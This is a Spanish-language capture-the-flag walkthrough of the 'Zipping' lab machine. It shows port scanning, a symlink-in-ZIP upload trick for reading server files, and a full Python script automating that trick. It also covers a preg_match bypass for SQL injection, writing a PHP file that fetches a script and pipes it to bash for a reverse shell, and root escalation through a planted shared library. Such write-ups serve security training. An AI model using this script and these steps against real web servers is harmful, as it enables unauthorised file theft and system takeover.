Zipping

Enumeración

Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 10.10.11.229.

ping -c 1 10.10.11.229
PING 10.10.11.229 (10.10.11.229) 56(84) bytes of data.
64 bytes from 10.10.11.229: icmp_seq=1 ttl=63 time=52.7 ms

--- 10.10.11.229 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.656/52.656/52.656/0.000 ms

En el output del comando ejecutado en el parámetro ttl se ve que el valor está más cerca del 64 que del 128, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.

TTL OS
64 GNU/Linux
128 Windows

Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y los servicios que están asociados a estos.

 nmap -p- --open -sCV -n --min-rate 5000 -Pn 10.10.11.229 -oN Scan
Parámetros Descripción
-p- Indica que analice todos los puertos del 1 al 65535
–open Únicamente se escanearan los puertos que estén abiertos
-sC Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto
-sV Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios
-n Se evita realizar resolución DNS
–min-rate Indica la cantidad de paquetes que se envían por segundo, en este caso 5000
-Pn Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos.
-oN Exporta el output del comando ejecutado a un archivo en formato nmap
# Nmap 7.93 scan initiated Sat Apr 27 09:14:30 2024 as: nmap -p- --open -sCV -n --min-rate 5000 -Pn -oN Scan 10.10.11.229
Nmap scan report for 10.10.11.229
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_  256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 27 09:14:49 2024 -- 1 IP address (1 host up) scanned in 19.42 seconds

Los puertos que se han descubierto son:

Puertos Servicio Versión
22 SSH OpenSSH 9.0p1
80 HTTP Apache httpd 2.4.54

Búsqueda de Vulnerabilidades

Viendo que esta el puerto 80 abierto tratamos de acceder a la pagina.

Vemos un botón que pone “Work with Us”.

Al acceder vemos que podemos subir un archivos .zip los cuales deben contener un archivo .pdf.

Si tratamos de crear el .zip con un archivo PHP y lo interceptamos con BurpSuite para ver si podemos tratar de subir el archivo.

Al cambiar una de las extensiones nos funciona.

Vemos que nos muestra la ruta /uploads/ .

Al acceder al PDF no vemos nada.

Al pasar un rato el PDF desaparece.

Viendo otras rutas vemos que en /shop hay diferentes productos.

Vamos a utilizar la herramienta gobuster para ver los archivos y directorios dentro de la ruta /shop .

gobuster dir -u "http://10.10.11.229/shop" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -o directories.txt
Parámetros Descripción
dir Utiliza el modo de enumeración de directorios y archivos.
-u Especifica la URL a la cual se quiere escanear.
-w Especifica el diccionario que se utilizara parar el escaneo.
-x Indica las extensiones de archivo que se desean descubrir durante el escaneo.
-o Se indica que se quiere guardar el resultado en un archivo.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.229/shop
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2024/04/27 13:58:07 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2615]
/home.php             (Status: 500) [Size: 0]   
/products.php         (Status: 500) [Size: 0]   
/product.php          (Status: 200) [Size: 15]  
/assets               (Status: 301) [Size: 318] [--> http://10.10.11.229/shop/assets/]
/cart.php             (Status: 500) [Size: 1]                                         
/functions.php        (Status: 200) [Size: 0]                                         
Progress: 30844 / 882244 (3.50%)                                                     ^C
[!] Keyboard interrupt detected, terminating.
                                                                                      
===============================================================
2024/04/27 13:59:57 Finished
===============================================================

Viendo las diferentes rutas, vemos que en la ruta product.php sale lo siguiente.

Si tratamos de ver el código fuente del archivo no nos funciona.

Ya que podemos agregar un archivo al sistema y acceder a este, podríamos tratar de crear un enlace simbólico hacia la ruta /product.php.

Para realizar una prueba, intentaremos ver el contenido de /etc/passwd utilizando el comando ln.

ln -s /etc/passwd shell.pdf
Parámetro Descripción
-s Crea un enlace simbólico en lugar de un enlace físico.

Teniendo ya el archivo PDF creado con su enlace simbólico, procedemos a crear el archivo ZIP.

zip --symlinks shell.zip shell.pdf
  adding: shell.pdf (stored 0%)
Parámetros Descripción
–symlinks Permite incluir enlaces simbólicos dentro del archivo ZIP

Si subimos el archivo y accedemos no vemos nada.

Pero si utilizamos curl para ver el codigo fuente, vemos el contenido del archivo /etc/passwd.

curl -s -X GET "http://10.10.11.229/uploads/d2449f87bdf334c6189f5f5bc0b40083/shell.pdf"
Parámetros Descripción
-s Indica que en el output no se mostrara el mensaje de progreso que se muestra durante una solicitud.
-X El tipo de método que se utilizara en la solicitud POST, GET etc.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

Pero al cabo de un rato el archivo es eliminado nuevamente.

curl -s -X GET "http://10.10.11.229/uploads/d2449f87bdf334c6189f5f5bc0b40083/shell.pdf"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.54 (Ubuntu) Server at 10.10.11.229 Port 80</address>
</body></html>

Por lo que para no estar todo el rato creando diferentes archivos ZIP, lo automatizaremos todo con un script.

#!/usr/bin/python3  
import os, requests, time  
from bs4 import BeautifulSoup  
import argparse  
  
def arguments():  
    parser = argparse.ArgumentParser(description='Local File Inclusion (LFI)')  
    parser.add_argument('-f','--file', dest='file', required=True, type=str, help='file you want to show')  
    return parser.parse_args()  
  
def makeRequest(file):  
    url = "http://10.10.11.229"  
  
    if os.path.exists("shell.pdf"):  
        os.remove("shell.pdf")  
  
    if os.path.exists("shell.zip"):  
        os.remove("shell.zip")  
  
    print("Creando enlace simbolico...")  
    time.sleep(1)  
    os.system(f"ln -s {file} shell.pdf")  
  
    print("Creando fichero ZIP...")  
    time.sleep(1)  
    os.system("zip --symlinks shell.zip shell.pdf 1>/dev/null")  
  
    with open("shell.zip", "rb") as archivo:  
        file_zip = {"zipFile": ("shell.zip", archivo, "application/zip"), 'submit': (None, '')}  
  
        headers = {"Host": "10.10.11.229", "User-Agent": "Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}  
  
        s = requests.Session()  
  
        r = s.post(f"{url}/upload.php", files=file_zip)  
  
        soup = BeautifulSoup(r.text, 'html.parser')  

        enlaces = soup.find_all('a')  
        uuid = ""  
  
        for enlace in enlaces:  
            uuid = enlace['href'].split("/")  
            if "uploads" in uuid:  
                uuid = enlace['href'].split("/")[1]  
                break  
  
        r = requests.get(f'{url}/uploads/{uuid}/shell.pdf')  
  
        print(r.text)  
  
if __name__ == '__main__':
    arg = arguments()  
  
    makeRequest(arg.file)  

    os.remove("shell.zip")

Lo primero que hace el script es pillar el valor del parámetro.

 def arguments():
     parser = argparse.ArgumentParser(description='Local File Inclusion (LFI)')
     parser.add_argument('-f','--file', dest='file', required=True, type=str, help='file you want to show')
     return parser.parse_args()

arg = arguments()

Con el valor ya obtenido, lo envía a la función makeRequest.

makeRequest(arg.file)

Lo primero que hace la función es eliminar en caso de que existan, el archivo PDF y el ZIP.

url = "http://10.10.11.229"  
  
    if os.path.exists("shell.pdf"):  
        os.remove("shell.pdf")  
  
    if os.path.exists("passwd.zip"):  
        os.remove("shell.zip")

Después de eliminar los archivos, crea primero el archivo PDF con el enlace simbólico que es recibido por el parámetro, para luego crear el archivo ZIP enviando el stdout al /dev/null para que no se muestre el output del comando zip.

 print("Creando enlace simbolico...")
 time.sleep(1)
 os.system(f"ln -s {file} shell.pdf")

 print("Creando fichero ZIP...")
 time.sleep(1)
 os.system("zip --symlinks shell.zip shell.pdf 1>/dev/null")

Luego abre el archivo zip en modo binario para luego crear un diccionario con el nombre del archivo y su contenido.

    with open("passwd.zip", "rb") as archivo:  
        file_zip = {"zipFile": ("passwd.zip", archivo, "application/zip"), 'submit': (None, '')}  
  
        headers = {"Host": "10.10.11.229", "User-Agent": "Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}  
  
        s = requests.Session()  

Y en la misma sesión envía el archivo ZIP.

        r = s.post(f"{url}/upload.php", files=file_zip)  

Para terminar, con la librería BeautifulSoup extrae el contenido HTML, el cual consigue el nombre del UUID, para luego realizar una ultima solicitud vía GET e imprimir el contenido.

        soup = BeautifulSoup(r.text, 'html.parser')  
  
        enlaces = soup.find_all('a')  
        uuid = ""  
  
        for enlace in enlaces:  
            uuid = enlace['href'].split("/")  
            if "uploads" in uuid:  
                uuid = enlace['href'].split("/")[1]  
                break  
  
        r = requests.get(f'{url}/uploads/{uuid}/shell.pdf')  
  
        print(r.text)

Al ejecutar el script podemos ver los archivos del sistema.

Suponiendo que la pagina se encuentra en la ruta /var/www/html tratamos de ver ahora el contenido del product.php.

Vemos que hay un texto que pone que la consulta es inyectable.

Hay un parámetro ID, el cual seguramente sea el de los productos.

Explotación

Pero para llegar a esa consulta primero debemos ver una formar de poder bypassear el preg_match, ya que vemos que nos restringe las formas para poder realizar una inyección SQL enviándonos al index.php .

Buscando por internet vemos que una forma de bypassear el preg_match es realizando un salto de línea.

Para cerrar la query y poner otra utilizaremos el punto y coma ;.

Pero vemos que no nos funciona.

Eso es por que al final tiene que haber un numero.

Al ponerlo ya si que nos realiza los 5 segundos de espera.

Viendo otros archivos del sistema vemos que en el /shop/index.php esta accediendo a recursos del sistema mediante el parámetro page pero además esta añadiendo a la fuerza la extensión .php.

Con into outfile podemos crear archivos con contenido en la inyección SQL.

Para hacer un ejemplo vamos ha crear el archivo test.txt en la ruta /tmp.

Pero vemos que no tenemos acceso.

El RDBMS en uso será MariaDB, y una de sus rutas de almacenamiento es /var/lib/mysql. Al intentar añadir un archivo a esa ruta, vemos que sí funciona.

Ahora teniendo la capacidad de poder crear archivos con into outfile y acceder a ellos con el parámetro ?page vamos a tratar de crear un archivo .php el cual nos envié una ReverseShell.

En este caso vamos a crear un archivo PHP el cual realizara una petición a un servicio http que nosotros crearemos hacia un archivo que realizara el envío de la shell.

Creamos el archivo.

Creamos el servicio HTTP con Python.

Para la creación del archivo PHP, para que no de problemas el tema del URL vamos a urlencodearlo todo, y en la parte de la petición con curl, para que luego nos ejecute el output, vamos a utilizar el pipe | seguido del comando bash para que sea ejecutado.

Con el archivo ya creado nos ponemos en escucha por el puerto 443 con netcat.

nc -lvnp 443
listening on [any] 443 ...
Parámetros Descripción
-l Inicia el netcat en modo escucha
-v Muestra información durante la ejecución
-n No se realiza resolución DNS
-p Especifica el número de puerto de escucha

Al accede al archivo rev.php, recibimos una petición por GET en el servicio HTTP.

Y al ver el netcat vemos que recibimos la ReverseShell.

Teniendo ya acceso a la maquina podemos ver la primera flag.

rektsu@zipping:/var/www/html/shop$ cat /home/rektsu/user.txt 
7dc***************************
rektsu@zipping:/var/www/html/shop$ 

Post-explotación

Mirando los permisos que tenemos vemos que podemos ejecutar el binario stock como cualquier usuario y sin proporcionar la contraseña.

rektsu@zipping:/var/www/html/shop$ sudo -l
sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

Al ejecutar el binario vemos que nos pide una contraseña.

Con strings si miramos las cadenas imprimibles del binario vemos una contraseña.

Al poner la contraseña nos muestra un menu.

Con el comando strace vamos a ver que es lo que hace a bajo nivel.

Al poner la contraseña vemos que esta tratando de ejecutar la librería libcounter.so que se encuentra en mi ruta personal de trabajo.

Pero dentro no se encuentra esa librería.

rektsu@zipping:/home/rektsu$ ls -la .config 
total 8
drwxrwxr-x 2 rektsu rektsu 4096 May  4  2023 .
drwxr-x--x 7 rektsu rektsu 4096 Aug  7  2023 ..
rektsu@zipping:/home/rektsu$ 

Por lo que vamos ha crear ese archivo de biblioteca compartida para que el binario al ejecutar ese archivo nos ejecute el comando que nosotros le indiquemos.

Creamos el archivo.

Lo compilamos.

rektsu@zipping:/home/rektsu$ gcc -shared -fPIC -o libcounter.so libcounter.c 
Parámetros Descripción
-shared Se utiliza para generar un archivo compartido en lugar de un archivo ejecutable estándar.
-fPIC Genera código independiente de posición, lo que es esencial para las bibliotecas compartidas.
-o Especifica el nombre del archivo de salida generado por el compilador.

Y lo metemos al directorio .config.

rektsu@zipping:/home/rektsu$ mv libcounter.so .config/
rektsu@zipping:/home/rektsu$ ls .config/
libcounter.so
rektsu@zipping:/home/rektsu$ 

Al ejecutar el binario de nuevo y meter la contraseña, ya recibimos la shell como el usuario root.

Y ya finalmente podemos visualizar la ultima flag.

root@zipping:/home/rektsu# cd /root
root@zipping:~# cat root.txt 
32e***************************
root@zipping:~# 

Aqui se explica con detalle el AutoPWN de la máquina Zipping.


© - Mr. Pr1ngl3s